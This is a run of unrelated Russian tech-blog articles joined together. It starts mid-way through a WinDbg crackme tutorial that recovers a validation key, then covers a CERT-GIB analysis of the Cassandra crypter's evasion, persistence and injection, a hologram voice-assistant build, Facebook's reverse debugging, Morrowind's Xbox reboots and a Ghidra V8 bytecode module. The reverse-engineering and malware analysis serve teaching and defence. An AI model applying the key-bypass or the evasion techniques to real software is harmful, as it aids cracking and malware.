Можно приступать к поиску функции main. Сделать это достаточно просто, необходимо локализовать константы из интерфейса файла, когда выполняется приветствие и запрос данных:

Для поиска данных будем использовать команду s. Эта команда проводит поиск по определенному в команде объему данных. Соответственно чтобы получить данные о местоположении приглашения к вводу ключа, нужно указать всё адресное пространство исследуемого приложения. Так же необходимо указать тип данных, которые нужно искать.

Теперь, когда мы знаем адрес данных, которые используются, мы можем поставить точку останова, которая будет следить за доступом к данным. Сделать это можно с помощью команды ba. Для такой точки останова нужно указывать размер данных за которыми отладчик будет наблюдать, а там же адрес и тип доступа. Адрес должен быть выровнен по границе в 4 байта. После становки снова нужно запустить приложение через команду g. На рисунке ниже показан вариант команды:

Когда сработает точка останова, нужно найти часть алгоритма приложения, которая печатает приветствие на экран. Для этого удобно использовать стек вызовов функций. Для этого можно выполнить команду k.

Из рисунка видно, что копирование строки для работы с ней выполняется библиотечной функцией, а её вызов был сделан из "For_Crackme+0x15f2".

2. Локализуем функцию проверки ключа. Функция проверки будет недалеко от предложения ввести данные пользователя. В прошлом этапе мы нашли смещение внутри функции до этой операции. Введем можифицированную команду uf - u для того чтобы посмотреть несколько команд после адреса "For_Crackme+0x15f":

Фрагмент кода не содержит дополнительных отладочных символов, поэтому просто просмотрим данные рядом:

• offset For_Crackme+0x40a2

• offset For_Crackme+0x40bb

Чтобы это сделать, используем команду db:

Похоже, что функция подготавливает данные для выдачи информации пользователю. Значит проверка ключа должна быть где-то рядом. Обратим внимание на 2 константы, которые помещаются в память через следующие команды:

...00401612 c744241c30372f31 mov     dword ptr [esp+1Ch],312F3730h0040161a c7442420302f3937 mov     dword ptr [esp+20h],37392F30h...

Если раскодировать константы, то мы получим вот такое значение: "07/10/97". Выполнить раскодирование может помочь команда .formats 312F3730h. Из списка форматов нас интересует Char или символьное представление. Стоит помнить, что данные в памяти хранятся в LittleEndian формате, поэтому если прочитать наоборот, то получатся данные необходимые для прохождения валидации.

Таким образом можно анализировать приложения с использованием Windbg и не прибегать к дополнительному инструментарию.

Статья написана в преддверии старта курса "Reverse-Engineering. Professional". Напоминаем о том, что завтра пройдет второй день бесплатного интенсива по теме "Пишем дампер процессов". Записаться на интенсив можно по ссылке ниже:

• ЗАПИСАТЬСЯ НА БЕСПЛАТНЙ ИНТЕНСИВ

Ни один атакующий не хочет, чтобы его инструменты обнаружили и раскрыли раньше времени. Поэтому, как правило, в чистом виде никто вредоносные программы не распространяет. Например, пользователю прилетело фишинговое письмо от имени известной транспортной компании и просят проверить документы во вложении. Подобные письма достаточно часто являются началом атаки, так было и в этом раз. Внутри архива находился исполняемый файл Cassandra Crypter популярный криптор, полезной нагрузкой которого могут выступать различные семейства вредоносного программного обеспечения. Алексей Чехов, аналитик CERT-GIB, рассказывает, как Cassandra проникает на компьютер жертвы и приводит с собой других незваных гостей.

Работу Cassandra можно условно разделить на два этапа. На первой стадии загружается вспомогательная библиотека, которая извлекает основную часть криптора из исходного файла. На второй криптор раскрывает весь свой потенциал.

Первая стадия

Cassandra маскируется под легитимное приложение. В точке входа располагается стандартная для приложений Windows Forms функция запуска.

Конструктор формы также выглядит стандартным, ничем не отличающимся от легитимного приложения.

При детальном анализе был обнаружен вызов функции aaa(), которая содержит вредоносный функционал. Ее вызов приводит к расшифровке и подгрузке вспомогательной dll.

Для расшифровки используется алгоритм AES.

После подгрузки вспомогательной dll вызовется одна из её функций, в результате чего будет получена и запущена вторая стадия криптора.

Вторая стадия содержится в изображении, в зашифрованном виде, в исходной сборке.

Для расшифровки используется операция XOR, ключом для расшифровки являются первые 16 байтов исходного изображения.

В первой стадии злоумышленники практически не используют средства противодействия анализу, отладки и так далее, за исключением обфускации дополнительной библиотеки.

Вторая стадия

Вторая стадия представляет собой исполняемый файл .Net Framework.

Конфигурационный файл

Полезная нагрузка

Полезная нагрузка содержится в крипторе в зашифрованном виде. Расшифровка проходит в два этапа:

1. В цикле осуществляется побайтовый XOR шифрограммы, ключа и значения операции XOR от последнего элемента байта шифрограммы и 112. Полученные значения сохраняются в созданный массив. Ключ для первой стадии содержится в конфигурационном файле.

2. Осуществляется дешифрование, аналогичное тому, что было на первой стадии: используется операция XOR, в качестве ключа используются первые 16 байтов массива, полученного на первом этапе.

Закрепление в системе

Закрепление в системе осуществляется через создание отложенной задачи. Файл копируется в директорию AppData//{имя файла, заданное в конфиге}+.exe. После этого исходный файл удаляется и создается задача на выполнение.

Anti-VM

В функции осуществляется поиск виртуальных видеоадаптеров и специфических ключей реестра, свойственных для виртуальных машин.

Anti-Sandbox

Реализованы три функции противодействия песочнице:

• Детект изолированной среды. Функция проверяет путь до исполняемого файла и ищет в нём специфические строки, таких как \\VIRUS, SAMPLE, SANDBOX и т.д. Также осуществляется поиск окна, свойственного WindowsJail, и библиотеки SbieDll.dll, загруженной в процесс.

• Попытка обхода песочницы по таймауту. Реализована при помощи стандартной процедуры Sleep.

• Попытка обхода песочницы по user activity. Реализована при помощи показа Fake MessageBox.

Защита от повторного запуска

Реализована путем создания мьютекса с заданным именем в системе.

Функционал

Downloader

Реализована функция загрузки пейлоада из сети.

Запуск полезной нагрузки

Содержит два варианта запуска пейлоада:

1. Загрузка в память при помощи функций .Net Framework.

2. Инжект полезной нагрузки в запущенный процесс. Есть возможность выбора из нескольких процессов.

На данный момент Cassandra достаточно распространенный тип крипторов. Как правило, злоумышленники используют его в массовых рассылках, чтобы незаметно запускать на машине пользователя вредоносное ПО. Cassandra позволяет запускать даже хорошо изученные семейства ВПО.

Привет, Хабр! Говорят, лень - это двигатель прогресса. Но никто не говорил, что этот самый двигатель, будет быстрым. Моя история о том, как я делал визуализацию голосового помощника Алисы с эффектом голограммы из подручных материалов.

Вступление

Мне всегда нравилась идея визуализации ассистентов, т.к. через визуализацию передаются "эмоции" человеку, что позволяет воспринимать устройство не как коробку с динамиком (или как бы сказал один журналист "девчонку в коробчонке"), но и как питомца. Почему-то крупные производители голосовых помощников не делают подобных устройств.

Например, у меня есть робот голосовой помощник "Vector" от Anki (сейчас им владеет Digital Dream Labs). Он отлично передает эмоции (радость, огорчение, злость и т.д.), когда с ним взаимодействуешь. Но его проблема в том, что программная часть голосового помощника Vector очень слабая по сравнению с такими гигантами как Alexa, Google Assistant, Siri, Алиса.

Недавно Яндекс выпустил умную колонку Яндекс.Станция Макс с LED-дисплеем. Через дисплей, голосовой помощник "Алиса" дополняет свои ответы анимацией и выражает "эмоции". И это уже хороший шаг в сторону визуализации голосового помощника, но все равно этого недостаточно для меня.

Бороздя просторы интернета во время всеобщего карантина, я увидел пост о том, как Джарем Арчер сделал рабочий концепт голограммы голосового помощника Cortana от Microsoft. Я вдохновился этой идеей и захотел это повторить, только вместо Кортаны, взять Алису от Яндекса.

Посмотрев, как Джарем сделал визуализацию Кортаны и прикинув по стоимости необходимые компоненты, понял, что это выйдет дороговато для моего первого, домашнего проекта. Т.к. я живу в населенном пункте с численностью населения не больше 2000 человек и с одним местным продуктовым магазином, то все компоненты нужно было заказывать через интернет, а доставка до меня очень долгая. Поэтому решил использовал всё то, что было под рукой:

• Старый монитор c TFT матрицей (BenQ GW2750HM)

• Старый ноутбук (core 2 duo p7350, GeForce 9300M, 4Gb RAM)

• 3D-принтер (Tevo Tarantula 2017)

• RGB-светодиодная лента

• Arduino Nano

Корпус

Джарем использовал портативный USB монитор. Вес и толщина монитора очень маленькая, что позволяет сделать для него тонкий корпус. В моей же ситуации нужен был надежный и прочный корпус, чтобы мог выдержать старый, тяжелый монитор. Поэтому я смоделировал корпус под свой монитор.

Модель делал в Autodesk Fusion 360. Сама модель состоит из нескольких частей и ее, в теории, можно сделать под любой размер монитора.

В основании корпуса есть углубления по бокам, чтобы туда приклеить светодиодную ленту и вставить платформу из оргстекла для подсветки основания, но позже я столкнулся с проблемой, что найти/заказать оргстекло сложно, поэтому основание сделал из ДСП. Ножки не планировал добавлять т.к. изначально думал, что конструкция будет стоять на основании корпуса, дабы пыли и шерсти под ней не было, а ноутбук будет рядом. Но уже после того, как напечатал модель, понял, что ноутбук отлично влезает под корпус и ножки делал уже из брусков дерева.

3D печать

Для печати корпуса выбрал ABS пластик т.к. он прочный и легко поддается обработке. Но есть и минусы: дико воняет и сильно чувствителен к сквозняку. На печать всех компонентов ушло дней 5 почти непрерывного печатания. Поэтому запах в доме еще долго не мог уйти.

Печатал первый раз и из-за того, что 3D-принтер был без внешнего корпуса, а дома был сквозняк, некоторые детали были с сильным браком и пришлось мастерить внешний корпус принтера из того, что было дома (спортивный коврик и полотенце). После этого детали стали немного лучше, но все равно были косяки, которые были терпимыми.

После печати деталей обработал их наждачной бумагой, нанес грунтовку и покрасил в черный матовый цвет.

Эффект голограммы

Эффект голограммы создается просто: сверху лежит монитор, изображение попадает на стекло, которое стоит под определенным углом.

У стекла есть эффект раздвоения изображения (особенно, если стекло толстое), когда изображение отображается на передней и задней стороне стекла. Чтобы это убрать, с обратной стороны наклеил антибликовую пленку.

Из-за того, что использовал TFT-матрицу, угол обзора получился плохим. Если на фронтальной части хорошо видно модель, то на боковых стеклах видно только под определенным углом.

В финальной части для корпуса сделал крышку, чтобы закрыть монитор и провода, а под основанием добавил ножки, чтобы расположить ноутбук. Из куска подвесного потолка сделал "юбку", чтобы скрыть все что находится под корпусом. На внутреннюю часть "юбки" и сзади корпуса приклеил RGB светодиодную ленту на алюминиевое основание, а над стеклами вывел светодиод для эффекта как будто с этого диода проецируется голограмма.

Программная часть

Программная часть состоит из четырех частей: официальный, но уже устаревший desktop-клиент Алисы, Python-сервис для обработки сообщений, приложение на Unity для отображения модели и Arduino Nano для управления светодиодной лентой.

Общий принцип работы визуализации следующий: клиент Алисы передает текст команды от пользователя и ответ на Python-сервис. После обработки данных, сервис отправляет команду на вызов той или иной анимации в приложении на Unity и команды для управления светодиодной лентой на Arduino.

Чтобы перехватить запросы в клиенте Алисы, использовал реверс-инжиниринг. Для этого взял старую версию клиента Алисы. Данная версия работает на JS, но исходники были обработаны обфускатором, поэтому пришлось долго искать места, где можно перехватить команды. После этого вставил вызовы API моего сервиса для передачи данных.

После того, как сервис получил данные из клиента, он их обрабатывает. В зависимости от того, какие данные пришли, отправляет по MQTT сообщения: состояние (например, Алиса начала слушать пользователя), текст ответа на запрос и изображение ответа. Если с состоянием и текстом сообщения все легко и в сервис приходит простой JSON, то с изображением не так просто. Внутри клиента Алисы изображения строятся на основе сложного JSON, который приходит от сервиса Яндекса. Его нужно было бы обрабатывать и создавать изображение самому, а т.к. я ленивый человек, решил отправлять то, что клиент Алисы сам формирует (HTML блок + CSS). Далее сервис вставляет HTML блок в запущенный заранее веб-драйвер Chrome, делает скриншот и отправляет в MQTT JSON сообщение с изображением в Base64, высотой и шириной изображения для сохранения пропорций в Unity. Для включения/выключения светодиодной ленты, сервис отправляет по Serial порту сообщение/команду в Arduino, выбирая какую область (светодиод над моделью и/или заднюю и нижнюю светодиодную ленту) включить с каким RGB цветом и яркостью.

Есть еще одна функция. Клиент Алисы периодически опрашивает сервис на наличие новых команд для неё. Если есть новая команда, то клиент выполняет её таким образом, как это сделал бы пользователь через голос или текст. Например, если дать команду: "Алиса, повтори за мной: Перед уходом, не забудь покормить кота", то эту фразу она и повторит. Таким образом можно оповещать состояние датчиков.

Приложение на Unity принимает сообщения с MQTT для запуска анимации и отображения текста/изображения на специальных панелях. Модель отображают три камеры (каждое изображение попадает на свое стекло), на которых применен эффект "зеркала", чтобы после проецирования на стекло пользователь видел корректное изображение модели и текста.

Т.к. голос Алисы бы сделан на основе голоса Татьяны Шитовой, которая озвучивает большинство героинь Скарлетт Йоханссон, то для модели Алисы я взял образ персонажа из комиксов Marvel "Черная вдова", что дало визуализации свой "шарм". Саму 3D-модель я взял из открытого доступа, а скелет и его анимацию сделал в Blender, визуальный эффект голограммы был применен на модели в самой Unity.

Из-за того, что работа по созданию анимации была самой последней частью общей работы, то данному этапу уделил очень мало времени, поэтому набор движений скуден.

Заключение

Огромное спасибо моей жене! Без её помощи, поддержки и терпения я бы забросил эту идею с самого начала.

Еще есть что доделать. Например, можно было добавить камеру, чтобы отслеживать лицо пользователя и "поворачивать" модель к пользователю для усиления эффекта голограммы, прикрутив к сервису OpenCV и отправку в MQTT значений поворота модели, но USB камеры нет.

Из минусов, найденных при эксплуатации:

1. У меня настроена система "Умный дом", через Home Assistant. На нем работают как свои устройства (на esp8266/Arduino), так и производителей (в основном от Xiaomi). Когда я начал делать этот проект, то была возможность управлять всеми устройствами через Алису. И можно было бы не использовать Яндекс.Станцию мини, но в какой-то момент Алиса в клиенте перестала находить эти устройства, хотя управлять ими через станцию все еще можно. Скорее всего поменяли API, поэтому перестало работать, но есть идеи как это можно исправить

2. Плохая идея использовать монитор с TFT матрицей

Еще нашел необычное применение для такого устройства: вместо Алисы, отображать время или таймер до какого-то события с включенной подсветкой.

Записывая видео работы визуализации Алисы, использовал тестовую анимацию движения. Получился такой эффект, как будто модель Алисы держит свет над собой и идет к пользователю. Мне показалось это забавным и решил оставить так.

Отладка неотъемлемая часть профессионального программирования. К старту курса о Fullstack-разработке на Python делимся переводом о том, как отладка устроена в Facebook; в статье вы найдёте ссылку на разработанный FB плагин трассировки для LLDB, который преобразует необработанную трассировку в удобочитаемый формат.

Допустим, вы получаете уведомление по электронной почте о том, что сервис терпит крах сразу после развёртывания вашего последнего изменения кода. Сбой происходит только на 0,1 % серверов, где запущен сервис. Но вы работаете в крупной компании, поэтому 0,1 % равняется тысячам серверов, и эту проблему будет трудно воспроизвести. Несколько часов спустя вы всё ещё не можете воспроизвести проблему, хотя потратили целый день на её решение.

Здесь вступает в действие обратная отладка. Существующие методы позволяют инженерам записывать приостановленную (или потерпевшую крах) программу, затем перематывать её назад и воспроизводить, чтобы найти первопричину. Однако для таких крупных компаний, как Facebook, эти решения требуют слишком больших накладных расходов, чтобы быть практичными в производственной среде.

Для решения этой проблемы мы разработали новую методику, позволяющую инженерам отследить неудачный запуск и просмотреть его историю, чтобы найти первопричину без необходимости повторного запуска программы, что экономит огромное количество времени. Для этого мы эффективно отслеживаем активность CPU на наших серверах и при сбоях сохраняем историю процессов, которая затем отображается в удобочитаемом формате с помощью отладчика LLDB, предлагающего всё от просмотра истории команд до реверс-дебага.

Звучит здорово, но как это работает?

Для разработки мы использовали Intel Processor Trace (Intel PT), который использует специализированное оборудование для ускорения сбора шагов в программе, что позволяет нам использовать его в производстве и в масштабе. Однако эффективная трассировка программы это только первый шаг.

Непрерывный сбор и быстрое хранилище в производственной среде

Поскольку мы не знаем, когда произойдёт сбой и какой именно процесс потерпит крах, нам необходимо постоянно собирать трассировку Intel PT всех запущенных процессов. Чтобы ограничить объём памяти, необходимой для работы, мы храним трассировку в кольцевом буфере, где новые данные перезаписывают старые:

На больших серверах, наподобных тем, что применяются для обучения моделей ИИ, Intel PT может генерировать сотни мегабайт данных в секунду даже в сжатом формате. Когда процесс терпит крах, сборщик должен приостановить сбор и скопировать содержимое буфера для потерпевшего крах процесса. Для этого операционная система должна уведомить нашего сборщика о крахе процесса, на что требуется время. Чем больше задержка между крахом и копированием содержимого буфера, тем больше данных будет перезаписано новыми данными из других процессов.

Чтобы решить эту проблему, мы разработали eBPF-зонд ядра программу, запускаемую при определённых событиях ядра, чтобы в течение нескольких миллисекунд уведомить нашего сборщика о том, что произошёл сбой, таким образом максимизируя количество информации в трассировке, относящейся к сбою. Мы попробовали несколько подходов, но ни один из них не был таким быстрым, как этот.

Дополнительно в рахитектуре учтено, что при сбоях компьютер часто остаётся в плохом состоянии, а это не позволяет нам проводить какой-либо анализ собранной трассировки на лету. Поэтому мы решили хранить трассировки и соответствующие двоичные файлы потерпевших крах процессов в наших центрах обработки данных, чтобы их можно было проанализировать позже на другой машине.

Декодирование и символизация

Как преобразовать эти данные в инструкции, которые возможно проанализировать? Необработанные трассировки не поддаются расшифровке инженерами. Людям необходим контекст, такой как информация об исходной строке и имена функций. Чтобы добавить контекст, мы создали компонент в LLDB, способный получать трассировку и восстанавливать инструкции вместе с их символами. Недавно мы начали открытое исходного кода этой работы. Найти компонент вы можете здесь.

С помощью указанного на рисунке выше потока мы можем преобразовать необработанный файл трассировки в такой:

Символизация инструкций это только первая часть работы LLDB. Следующая часть реконструкция истории вызовов функций. Для этого мы построили алгоритм, который способен пройти по инструкциям и построить дерево вызовов функций, то есть какая функция вызвала другую функцию и когда. Самое интересное в этом то, что трассировка может начинаться в произвольный момент выполнения программы, и не обязательно с самого начала.

Это дерево может помочь нам быстро ответить на вопрос, например, о том, какова трассировка стека в данный момент истории; вопрос решается простым движением вверх по дереву. С другой стороны, более сложный вопрос где останавливается обратный шаг с обходом?

Представьте, что вы находитесь в строке 16 этого небольшого куска кода. При обратном шаге с обходом вы должны остановиться либо на строке 13, либо на строке 15, в зависимости от того, было ли захвачено if или нет. Наивный подход заключается в том, чтобы проверять инструкции в истории по одной, пока не будет найдена одна из этих строк, но это может быть очень неэффективно, так как функция foo может содержать миллионы инструкций. Вместо этого можно воспользоваться вышеупомянутым деревом, чтобы перемещаться по строкам, не перемещаясь внутри вызовов. В отличие от предыдущего подхода обход дерева почти тривиален.

Кроме того, добавлена поддержка точек останова. Предположим, что вы находитесь в середине сеанса отладки и хотите вернуться назад во времени к последнему вызову function_a. Вот что можно сделать:

Наконец, мы планируем в какой-то момент интегрировать этот поток с VSCode, чтобы получить богатый опыт визуальной обратной отладки.

Анализ и профилирование задержек

Трассировка выполнения содержит больше информации, чем другие представления потока управления, например стеки вызовов. Кроме того, в рамках трассировки мы собираем информацию о времени с высокой точностью; так, инженеры знают не только последовательность выполняемых операций (или функций), но и их временные метки, а это позволяет задействовать новую возможность анализ задержек.

Представьте себе сервис, который обрабатывает различные запросы, получающие данные с использованием внутреннего кеша. При определённых условиях кеш должен быть очищен, и следующий вызов fetch займёт гораздо больше времени.

Сервер получает несколько запросов от инженеров, и вы хотите разобраться с длинным хвостом задержки в вашем сервисе (например, P99). Вы берёте свой профайлер и собираете несколько выборок стеков вызовов для двух основных типов запросов. Они выглядят, как на графике ниже, который не позволяет понять, чем они отличаются, поскольку выборка стека вызовов показывает только агрегированные цифры. Нам нужно преобразовать трассировки в информацию о пути выполнения и на этом пути символизировать инструкции.

На изображении ниже показана трассировка, позволяющая легко понять происходящее: запрос B очищает данные перед их получением.

Тогда как отладчик может помочь вам двигаться в пределах трассировки по шагам, визуализация поможет вам легко увидеть общую картину. Вот почему мы также работаем над добавлением графиков, подобных графику "Трассировка стека вызовов" выше, в наш инструмент анализа производительности Tracery. Мы создаём инструмент, который может производить эту трассировку и временные данные и объединять их с производимой LLDB символизацией. Наша цель предложить разработчикам способ увидеть всю эту информацию сразу, а затем увеличить или уменьшить масштаб и получить необходимые данные на нужном им уровне.

Помните нежелательный сценарий в начале этого поста? Теперь представьте, что вы получаете уведомление по электронной почте о том, что ваш сервис падает на 0,1 % машин, но на этот раз оно приходит с кнопкой "Reverse debug on VSCode". Вы нажимаете на кнопку, а затем перемещаетесь по истории программы, пока не найдёте вызов функции, который не должен был произойти, или ветку if, которая не должна была выполняться, и исправляете её в течение нескольких минут.

Такие технологии позволяют нам решать проблемы на уровне, который мы раньше не считали возможным. Большинство наших работ (если судить по истории) в этой области привели к значительным накладным расходам, что ограничивало наши возможности масштабироваться. Сейчас мы создаём инструменты отладки, которые интерактивно и наглядно помогают разработчикам решать проблемы производства и разработки гораздо более эффективным способом. Это захватывающее начинание, которое поможет нам ещё больше расширить наши масштабы.

Узнайте, как прокачаться и в других специальностях или освоить их с нуля:

• Профессия Data Scientist

• Профессия Data Analyst

• Курс по Data Engineering

Оригинальный Xbox известен тем, что имел всего 64 мегабайта оперативной памяти, чего даже в то время не всегда хватало играм. В недавнем подкасте о слиянии Bethesda и Xbox директор Bethesda Game Studios Тодд Говард рассказал о том, что именно из-за нехватки памяти и для ее освобождения Morrowind иногда перезагружала Xbox незаметно для пользователя. Долгие внутриигровые загрузки это как раз то, о чем идет речь.

Это и натолкнуло на рассуждения о том, как же происходил этот процесс. Ведь тихая перезагрузка игровой консоли все еще подразумевает ребут памяти, видеокарты, центрального процессора, кэша и вообще всей системы.

Однако в оригинальном Xbox практически все работало с разрешениями уровня для ядра, что давало определенную свободу программистам и, вероятно, помогало хранить состояние игры где-то в памяти или на жестком диске. И когда игра перезагружалась, она просто возвращалась в том же виде из последнего сохранения.

Теперь настало время доказать это.

Для этого нам понадобятся три вещи:

1. Копия игры;

2. Комплект разработчика Xbox (XDK):

3. Декомпилятор.

В качестве последнего будем использовать IDA Pro.

В первую очередь установим игру на девкит и запустим ее. Для удобства возьмем файл сохранения из Интернета, чтобы понаблюдать, как он будет загружаться посредством экрана загрузки.

Основная сложность в том, что на самом деле мы не знаем, перезагружалась ли система в это время. Сам Тодд Говард упоминал, что на время перезагрузки на экране оставалась картинка, сохраненная во фреймбуфере. Поэтому совершенно неочевидно, происходит ли что-то за кадром.

Но если использовать Xbox Neighborhood для тихой перезагрузки Xbox, мы увидим, что игра действительно перезагружается и сразу после этого попадает на момент экрана загрузки.

Отсюда вопрос: как все это работает?

Можно припомнить, что раньше существовала конкретная функция в API Xbox, которая могла запускать исполняемый файл Xbox из уже существующего и просто передавать аргументы из старого файла в новый. Если взглянуть на дашборд Xbox, такой как Evolution X, он запускается прямо из исполняемого файла Xbox, но также производит тихую перезагрузку.

Эта часть API Xbox XLaunchNewImage. Согласно документации, она перезагружает консоль для запуска другого файла XBE с DVD-диска.

При вызове XLaunchNewImage игра должна иметь минимальную активность. Не должно ничего происходить в других потоках, никаких асинхронных задач, записи на жесткий диск и т. д.

Вот мы и получили достаточно весомое доказательство того, что Morrowind перезапускается в процессе исполнения, при этом сохраняя свое состояние и загружаясь из сохранения. Теперь выясним, как же это работает.

Запустим игру на девките. В этом случае XLaunchNewImage должна перезапустить консоль. Теперь загрузим сохраненную игру с жесткого диска, но перед этим задействуем инструмент под названием Xbox File Event Viewer. Он будет отслеживать и выводить на экран создание каждого нового файла для чтения или записи.

Установим фильтр на названии morrowind.xbe. Если будет происходить запуск файла с таким именем, скорее всего, в этом вызове будет задействована XLaunchNewImage, которая и производит перезапуск консоли для исполнения другого файла XBE с диска.

Теперь запустим Xbox File Event Viewer и наш файл сохранения. Как мы видим, происходят множественные чтения файла morrowind.xbe. Это не обязательно говорит о перезапуске консоли, но наверняка указывает на то, что происходит активность XLaunchNewImage.

Теперь используем инструмент для реверс-инжиниринга и декомпилируем исполняемый файл morrowind.xbe. Для этого загрузим его в IDA Pro. И для начала поищем в нем непосредственно упоминание morrowind.xbe.

Первое, что мы видим в результатах поиска функцию получения доступа к файлу. Декомпилируем этот кодовый блок.

По-видимому, выделенный путь и исполняет XLaunchNewImage ведь, как мы видим в документации, один из требуемых для этого параметров строка для адреса XPE, а второй данные о запуске. Это вполне себе коррелирует с функцией sub_23AB90. Переименуем ее в XLaunchNewImage.

Но прежде, чем утверждать, что дело раскрыто, взглянем еще раз на код. Стоит обратить внимание на это условие.

Если байт byte_3A3209 имеет значение true, выполняется один кусок кода, в противном случае другой, заканчивающийся исполнением команды XLaunchNewImage.

Теперь поищем перекрестные ссылки для этого байта. Нас интересует переменная, которая отвечает за перезапись.

Перейдем к ней.

Один из двух байтов здесь говорит о том, чтобы если флаг No reboot on new game = 1 в файле Morrowind.ini, тогда этот байт равен true. Что касается второго, искомого байта, он становится true, если выполняется условие No reboot on load game = 1 в Morrowind.ini.

Если открыть Morrowind.ini, мы увидим, что оба значения No reboot on new game и No reboot on load game установлены в нуле, а значит игра будет перезагружаться на Xbox. Но на девкитах для отладки, когда игра разрабатывалась Bethesda, скорее всего, они имели значения единицы, поскольку те использовали 126 МБ вместо 64.

Итак, мы получили подтверждение того, что игра перезагружается на экранах загрузки. Но также мы открыли то, что это происходит не только при загрузке, но и создании новой игры, что тоже весьма любопытно. Взглянем теперь на это условие, когда NoRebootOnNewGame = false.

В этом месте происходит загрузка состояния, в котором игра была перед сохранением и перезапуском:

Мы убедились, что Xbox действительно перезагружается для очистки памяти во время экранов загрузки Morrowind, и вместо того, чтобы возвращаться к главному экрану игры, сразу переходит на экран загрузки и вызывает последнее сохранение. Достигается это с помощью процедуры под названием XLaunchNewImage части API Xbox, которую можно использовать для тихой перезагрузки консоли и запуска исполняемого файла. Но чего Говард не упомянул, так это того, что то же самое происходит при старте новой игры.

Причина такого поведения в том, что проще загрузить игру заново при загрузке сохранения, чем пытаться выгрузить все игровые ассеты в памяти из текущей игры. Это достаточно изящный трюк, который, вероятно, в свое время значительно упростил жизнь команде разработчиков.

В прошлом году наша команда столкнулась с необходимостью анализа байткода V8. Тогда еще не существовало готовых инструментов, позволявших восстановить такой код и обеспечить удобную навигацию по нему. Было принято решение попробовать написать процессорный модуль под фреймворк Ghidra. Благодаря особенностям используемого языка описания инструкций на выходе мы получили не только читаемый набор инструкций, но и C-подобный декомпилятор. Эта статья продолжение серии материалов (1, 2) о нашем плагине для Ghidra.

Между написанием процессорного модуля и статьи прошло несколько месяцев. За это время спецификация SLEIGH не изменилась, и описанный модуль работает на версиях 9.1.29.2.2, которые были выпущены за последние полгода.

Сейчас на ghidra.re и в приложенной к Ghidra документации есть достаточно хорошее описание возможностей языка эти материалы стоит почитать перед написанием своих модулей. Отличными примерами могут быть уже готовые процессорные модули разработчиков фреймворка, особенно если вы знаете описываемую в них архитектуру.

В документации можно прочесть, что процессорные модули для Ghidra пишутся на языке SLEIGH, который произошел от языка SLED (Specification Language for Encoding and Decoding) и разрабатывался целенаправленно под Ghidra. Он транслирует машинный код в p-code (промежуточный язык, используемый Ghidra для построения декомпилированного кода). Как у языка, предназначенного для описания инструкций процессора, у него достаточно много ограничений, которые, однако, можно купировать за счет механизма внедрения p-code в java-коде.

Исходный код созданного процессорного модуля представлен на github. В этой статье будут рассматриваться принципы и ключевые понятия, которые использовались при разработке процессорного модуля на чистом SLEIGH на примере некоторых инструкций. Работа с пулом констант, инъекции p-code, анализатор и загрузчик будут или были рассмотрены в других статьях. Также про анализаторы и загрузчики можно почитать в книге The Ghidra Book: The Definitive Guide.

С чего начать

Для работы понадобится установленная среда разработки Eclipse, в которую нужно добавить плагины, поставляемые с Ghidra: GhidraDev и GhidraSleighEditor. Далее создается Ghidra Module Project с именем v8_bytecode. Созданный проект содержит шаблоны важных для процессорного модуля файлов, которые мы будем модифицировать под свои нужды.

Чтобы получить общее представление о файлах, с которыми предстоит работать, обратимся к официальной документации либо вышедшей недавно книге Криса Игла и Кары Нанс The Ghidra Book: The Definitive Guide. Вот описание этих файлов.

• *.сspec спецификация компилятора.

• *.ldefs определение языка. Содержит отображаемые в интерфейсе параметры процессорного модуля. Также содержит ссылки на файлы *.sla, спецификацию процессора и спецификации компилятора.

• *.pspec спецификация процессора.

• *.opinion конфигурации для загрузчика; поскольку мы будем описывать только один вид файлов, файл opinion можно оставить пустым: он не пригодится.

• *.slaspec, *.sinc файлы, описывающие регистры и инструкции процессора на языке SLEIGH.

Также после первого запуска вашего проекта появится файл с расширением .sla, он генерируется на основании slaspec-файла.

Перед тем как приступить к разработке процессорного модуля, необходимо разобраться с тем, какие есть регистры, как происходит работа с ними, со стеком и т.п. для описываемого процессора или интерпретатора.

О регистрах V8

Jsc-файл, который нас интересовал, был собран c использованием среды выполнения JavaScript Node.Js 8.16.0 через bytenode (этот модуль либо будет в поставке Node.Js, либо нужно будет доставить его через npm). По сути, bytenode использует документированный функционал Node.js для создания скомпилированного файла. Вот исходный код функции, компилирующей jsc файлы из js:

Node.js можно скачать как в собранном виде, так и в виде исходников. При детальном изучении исходных файлов и примеров инструкций становится ясно, как кодируются регистры в байткоде (для понимания расчета индекса будут полезны файлы bytecode-register.cc, bytecode-register.h). Примеры инструкций v8 с расчетами индексов регистров в соответствии с Node.js:

Если вам показалось, что регистры aX кодируются разными байтами в зависимости от количества аргументов функции, то вы все поняли правильно. Более наглядная схема ниже.

Тут Х количество аргументов текущей функции без учета передаваемого <this>, aX регистры, содержащие аргументы функции, а rN регистры, используемые как локальные переменные. Регистры могут кодироваться 1-байтовыми значениями для обычных инструкций, 2-байтовыми для инструкций с пометкой Wide- и 4-байтовыми для инструкций с пометкой ExtraWide-. Пример кодировки Wide-инструкции с пояснениями:

Более подробно о Node.js и v8 можно почитать в статье Сергея Федонина.

Стоит заметить, что SLEIGH не совсем подходит для описания подобных интерпретируемых байткодов, поэтому у написанного процессорного модуля есть некоторые ограничения. Например, определена работа не более чем с 124регистрами rN и 125регистрами aX. Была попытка решить эту проблему через стековую модель взаимодействия с регистрами, так как она больше соответствовала концепции. Однако в этом случае дизассемблированный байткод тяжелее читался:

Также без введения дополнительных псевдоинструкций, регистров или областей памяти не представляется возможным высчитывать название регистра аргумента в соответствии с Node.js из-за отсутствия информации о количестве аргументов. В связи с этим нами было принято решение проставлять номера в названии регистров аргументов функций (X в aX) в обратном порядке. Это не мешает разбору кода, что было для нас важным критерием, однако может смущать при сравнении результатов вывода инструкций файла в разных инструментах.

После изучения того, что нужно описывать, можно приступить к формированию необходимых файлов для процессорного модуля.

CSPEC

Немного текстовой информации о тегах, используемых в cspec-файлах, можно найти в исходниках фреймворка на github. В описании назначения файла говорится:

Спецификация компилятора является необходимой частью модуля языка Ghidra для поддержки разборки и анализа конкретного процессора. Его цель закодировать информацию о целевом двоичном файле, специфичном для компилятора, сгенерировавшего этот двоичный файл. В Ghidra спецификация SLEIGH позволяет декодировать машинные инструкции для конкретного процессора, например Intelx86, но эти инструкции могут продуцировать более одного компилятора. Для конкретного целевого двоичного файла понимание деталей о конкретном компиляторе, используемом для его сборки, важно для процесса разбора кода. Спецификация компилятора удовлетворяет эту потребность, позволяя формально описывать такие концепции, как соглашения о передаче параметров и механизмы стека.

Также становится понятно, что теги используются для следующих целей:

• Compiler Specific P-code Interpretation;

